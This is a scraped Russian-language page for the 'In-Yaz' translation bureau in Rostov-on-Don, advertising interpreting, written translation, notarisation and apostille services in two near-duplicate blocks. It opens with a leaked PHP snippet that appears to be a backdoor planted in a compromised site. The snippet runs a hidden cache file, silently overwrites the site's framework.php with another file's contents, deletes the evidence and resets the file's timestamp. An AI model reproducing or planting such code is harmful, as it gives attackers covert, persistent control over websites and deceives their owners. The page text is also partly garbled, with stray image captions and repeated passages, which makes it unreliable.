$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); } центр переводов Ин-Яз
logotype
translate_engtranslate_italytranslate_germanytranslate_turkey

translate_facebooktranslate_blogtranslate_faq Стена вконтакте            

translate_Interpretation

Устные переводы.

• Последовательный двусторонний устный перевод в любом режиме и уровня сложности;
• Организация телефонных переговоров с иностранными партнёрами;
• Лингвистическое обеспечение семинаров, конференций, выставок;
• Сопровождение переговоров, ведение корреспонденции;
• Услуги личного переводчика для сопровождения делегации за границу;
• Услуги личного гида-переводчика.

translate_on_paper

Письменные переводы.
При необходимости мы подключаем к работе нескольких переводчиков, будем работать по выходным – все для того, чтобы работа была выполнена в срок.

Наша ценовая политика – это разумное сочетание цены и качества. Хороший перевод, сделанный мастером своего дела, не может стоить дешево.

На сегодняшний день мы работаем со следующими языками:
английский, немецкий, французский, испанский, итальянский, португальский, украинский, польский, венгерский, румынский (молдавский), чешский, словацкий, болгарский, сербский, хорватский, литовский, латышский, эстонский, армянский, грузинский, узбекский, казахский, турецкий, китайский, арабский.

translate_apostilНотариальное заверение переводов и легализация документов.

• Нотариальное заверение выполненных переводов (заверение подлинности подписи переводчика);
• Нотариальное заверение копий документов;
• Проставление АПОСТИЛЯ в Региональном управлении Министерства юстиции РФ.

ЦП "Ин-яз" работает по новому адресу:

г. Ростов-на-Дону
 
 

Бюро переводов «ИН-ЯЗ» города Ростова-на-Дону.

В Центре (бюро) переводов «ИН-ЯЗ» мы стремимся обеспечить высокое качество перевода документов, юридического перевода, устного перевода, перевода веб-сайтов, программного обеспечения, перевода фармацевтической тематики и прочих текстов. Наша цель не просто переводить буквально, но работать в рамках особенностей конкретного языка и адаптации перевода, так что лингвистические тонкости языка остаются нетронутыми.

У нас имеются штатные и внештатные лингвисты-переводчики, более чем 100 профессионалов - лучших в отрасли. Все наши специалисты тщательно протестированы. Редакторы-переводчики являются носителями языка и имеют обширный опыт в своей области.

В зависимости от ваших потребностей мы предлагаем следующие услуги в различных областях перевода информации:

Полный перевод с редактированием:

К переводу текста или документа мы привлекаем специалистов – переводчиков, лингвистов и редакторов. Каждый из этих профессионалов дипломирован и имеет документальное подтверждение своих знаний. Текст, который проходит через наш перевод и редактуру, имеет гарантию качества подтверждённого не только сертификатами и дипломами, но и нашими клиентами.

 

Нотариальное заверение переведённых документов:

По требованию клиента переведённый документ может быть нотариально заверен. Наше бюро переводов в Ростове-на-Дону предлагает услуги официального перевода документов, нотариального заверения переводов и копий документов (заверение подлинности подписи переводчика), а также проставление апостиля в Региональном управлении Министерства юстиции РФ. Мы официально работаем с нотариусами города Ростова-на-Дону.

Быстрый – черновой перевод текста:

Центр (бюро) переводов «ИН-ЯЗ» так же осуществляет и черновой перевод в сжатые сроки. Каждый документ переведён лингвистом, но не подлежит корректуре. Текст также проходит проверку качества. Полученный перевод текста подходит для внутренних документов, быстрого перевода пресс-релизов, новостей, перевода резюме или при большом объеме материала.

Примеры наших работ по переводу:

Было.

manuale_magicse...
manuale_magicsem_italiano manuale_magicsem_italiano

Стало.

manuale_magicse...
manuale_magicsem_italiano_rus manuale_magicsem_italiano_rus

buclet_kompanii...
buclet_kompanii_new_holland buclet_kompanii_new_holland

Устный перевод:

Устный перевод представляет собой сложную задачу. Он требует, чтобы переводчик переводил разговорную речь близко к контексту, мгновенно и знал особенности различных лингвистических оборотов. В таком типе перевода нет возможности для редактирования, нет права на ошибку и от данного перевода может зависеть результат деловых переговоров. Чтобы устный перевод был эффективным:
• Наши устные переводчики обладают обширным опытом в мгновенном переводе.
• Наши устные переводчики обладают глубокими знаниями в различных предметных областях.
Если требуется специалист для синхронного перевода больших конференций, или устный переводчик для переговоров и встреч, то наш клиент имеет полную уверенность в профессиональных навыках устного переводчика.

 

Наши приоритеты:

- Качество языкового перевода.
- Расширение пакета предоставляемых услуг благодаря постоянному внедрению новых программных продуктов.
- Обеспечение доступности услуг для широкого круга клиентов – от частных лиц до крупных корпоративных заказчиков.

Письменный перевод от бюро переводов в Ростове-на-Дону

На сегодняшний день мы работаем со следующими языками:


· английский язык
· арабский язык
· армянский язык
· болгарский язык
· венгерский язык
· грузинский язык
· испанский язык
· итальянский язык
· казахский язык
· китайский язык
· латышский язык
· литовский язык
· немецкий язык
· польский язык
· португальский язык
· румынский (молдавский) язык
· сербский язык
· словацкий язык
· турецкий язык
· узбекский язык
· украинский язык
· финский язык
· французский язык
· хорватский язык
· чешский язык
· эстонский язык

Если нужного Вам языка нет в этом списке, попробуйте все же позвонить нам - у нас достаточно большая база переводчиков, безусловно, мы сумеем Вам помочь.



Бюро переводов "Ин-Яз" г.Ростов-на-Дону.

В Центр (бюро) переводов «ИН-ЯЗ», мы стремимся обеспечить высокое качество перевода документов, юридического перевода, устного перевода, перевода веб-сайтов, программного обеспечения, перевод фармацевтической тематики и многое другое. Наша цель не просто переводить буквально, но работать в рамках особенностей конкретного языка и адаптации перевода, так что лингвистические тонкости языка остаются нетронутыми.

У нас имеются штатные и заштатные лингвисты-переводчики, более чем 100 профессионалов - лучших в отрасли. Все наши специалисты тщательно протестированы. Редакторы-переводчики  являются носителями языка и имеют обширный опыт в своей области.

В зависимости от ваших потребностей, мы предлагаем следующие услуги в различных областях перевода информации:

Полный перевод с редактурой:
К переводу текста или документа мы привлекаем специалистов – переводчиков, лингвистов и редакторов. Каждый из этих профессионалов дипломирован и имеет документальное подтверждение своих знаний. Текст, который проходит через наш перевод и редактуру, имеет гарантию качества подтверждённого не только сертификатами, и дипломами, но и нашими клиентами.

Нотариальное заверение переведённых документов:

По требованию клиента, переведённый документ может быть нотариально заверен. Наше бюро переводов в Ростове-на-Дону предлагает услуги официального перевода документов, нотариального заверения переводов и копий документов (заверение подлинности подписи переводчика). А также проставление апостиля в Региональном управлении Министерства юстиции РФ. Мы официально работаем с нотариусами города Ростова-на-Дону.

 

Быстрый – черновой перевод текста:

Центр (бюро) переводов «ИН-ЯЗ» так-же осуществляет  и черновой перевод в сжатые сроки. Каждый документ переведён лингвистом, но не подлежит корректуре. Текст так же проходит проверку качества. Полученный перевод текста подходит для внутренних документов, быстрого перевода пресс-релизов, новостей, перевода резюме или при большом объеме материала.

Устный перевод:

Устный перевод представляет собой сложную задачу. Он требует, чтобы переводчик  переводил разговорную речь близко к контексту, мгновенно и знал особенности различных лингвистических оборотов. В таком типе перевода нет возможности для редактирования, нет права на ошибку и от данного перевода может зависеть результат деловых переговоров. Чтобы устный перевод был эффективным:

·        Наши устные переводчики обладают обширным опытом в мгновенном переводе.

·        Наши устные переводчики обладают глубокими знаниями в различных предметных областях.

Если требует специалист для синхронного перевода больших конференций, или устного переводчика для переговоров  и встреч, то наш клиент имеет полную уверенность в профессиональных навыках устного переводчика.